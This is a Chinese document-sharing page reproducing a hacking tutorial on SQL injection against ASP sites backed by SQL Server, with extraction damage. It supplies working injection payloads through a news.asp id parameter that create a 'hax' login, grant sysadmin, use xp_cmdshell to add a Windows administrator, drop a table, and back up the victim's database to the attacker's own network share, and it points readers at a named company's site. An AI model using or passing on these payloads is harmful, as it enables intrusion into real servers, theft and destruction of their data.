2022年SQL数据库的一些攻击SQL server]教程.docx
《2022年SQL数据库的一些攻击SQL server]教程.docx》由会员分享,可在线阅读,更多相关《2022年SQL数据库的一些攻击SQL server]教程.docx(12页珍藏版)》请在淘文阁 - 分享文档赚钱的网站上搜索。
1、2022年SQL数据库的一些攻击SQL server教程SQL数据库的一些攻击详细内容:对于国内外的许多新闻,BBS和电子商务网站都采纳ASP+SQL设计,而写 ASP的程序员许多(有许多刚刚毕业的),所以,ASP+SQL的攻击胜利率也比较高。这类攻击方法与NT的版本和SQL的版本没有多大的关系,也没有相应的补丁,因为漏洞是程序员自己造成的,而且大多数讲解ASP编程的书上,源代码例子就有这个漏洞存在,其实只是一些合法的ASP对SQL的恳求,就留下后患无穷!这种攻击方法最早源于or1=1的漏洞(我们暂且称其为漏洞),这个漏洞的原理我想大家因该都知道了,那么随之而来的便是;execsp_addlo
2、gin hax(在数据库内添加一个hax用户),但是这个方法的限制很大,首先ASP运用的SQL Server账号是个管理员,其次恳求的提交变量在整个SQL语句的最终,因为有一些程序员采纳SELECT * FROM news WHERE id=. AND topic=. AND .这种方法恳求数据库,那么假如还用以上的例子就会news.asp?id=2;exec sp_addlogin hax变成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=. AND .整个SQL语句在执行sp_addlogin的存储过程后有AND与推
3、断存在,语法错误,你的sp_addlogin自然也不能正常运行了,因此试试看下面这个方法news.asp?id=2;exec sp_addlogin hax;-后面的-符号把sp_addlogin后的推断语句变成了注释,这样就不会有语法错误了,sp_addlogin正常执行!那么我们连一起来用吧news.asp?id=2;exec master.dbo.sp_addlogin hax;-news.asp?id=2;exec master.dbo.sp_password null,hax,hax;-news.asp?id=2;exec master.dbo.sp_addsrvrolemember
4、 sysadmin hax;-news.asp?id=2;exec master.dbo.xp_cmdshell net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes/active:yes /add;-news.asp?id=2;exec master.dbo.xp_cmdshell net localgroup administrators hax /add;-这样,你在他的数据库和系统内都留下了hax管理员账号了当然,前提条件是ASP用管理员账号,所以虚拟空间大家就别试了,不会存在这个漏洞
5、的。以后我们会探讨,假如对方的ASP不是用SQL管理员账号,我们如何入侵,当然也会涉及到1433端口的入侵当然大家可以试试看在id=2后面加上一个符号,主要看对方的ASP怎么写了再说说当ASP程序运用的SQL账号不是管理员的时候我们该如何做。你如天融信的主页,有新闻内容,如下:大家可以试试看 123;-呵呵,报语法错误,select 123错误,自不待言,天融新的ASP在newid变量后面用号结束那么试试看 news;-哈哈,我想只要表名猜对了,新闻库就被删了通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner,至少对于这个库有很高的管理权限但是我们不知道库名该怎么?看看db_n
6、ame()函数吧打开你的query analyzer,看看print db_name() ,呵呵,当前的数据库名就出来了以次类推,如下: declare a sysname;set a=db_name();backup database a to disk=你的IP你的共享书目bak.dat ,name=test;-呵呵,他的当前数据库就备份到你的硬盘上了,接下来要做的大家心里都明白了吧同理这个方法可以找到对方的SQL的IP先装一个防火墙,打开ICMP和139TCP和445TCP的警告提示然后试试看news.asp?id=2;exec master.dbo.xp_cmdshell ping 你
7、的IP假如防火墙提示有人ping你,那么因该可以确定对方的ASP用的是SQL的管理员权限,同时也确定了对方的SQL Server的精确位置,因为许多大一点的网站考虑性能,会吧web服务和数据库分开,当对方大上了补丁看不到源代码时,我想只有这个方法能很快的定位对方的SQL Server的位置了那么,假如对方ASP没有SQL管理员权限,我们就不能调用xp_cmdshell了,该怎么办?别焦急,试试看这个news.asp?id=2;declare a;set a=db_name();backup database a to disk=你的IP你的共享书目bak.dat,name=test;-呵呵,你
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 2022年SQL数据库的一些攻击SQL server教程 2022 SQL 数据库 一些 攻击 server 教程
限制150内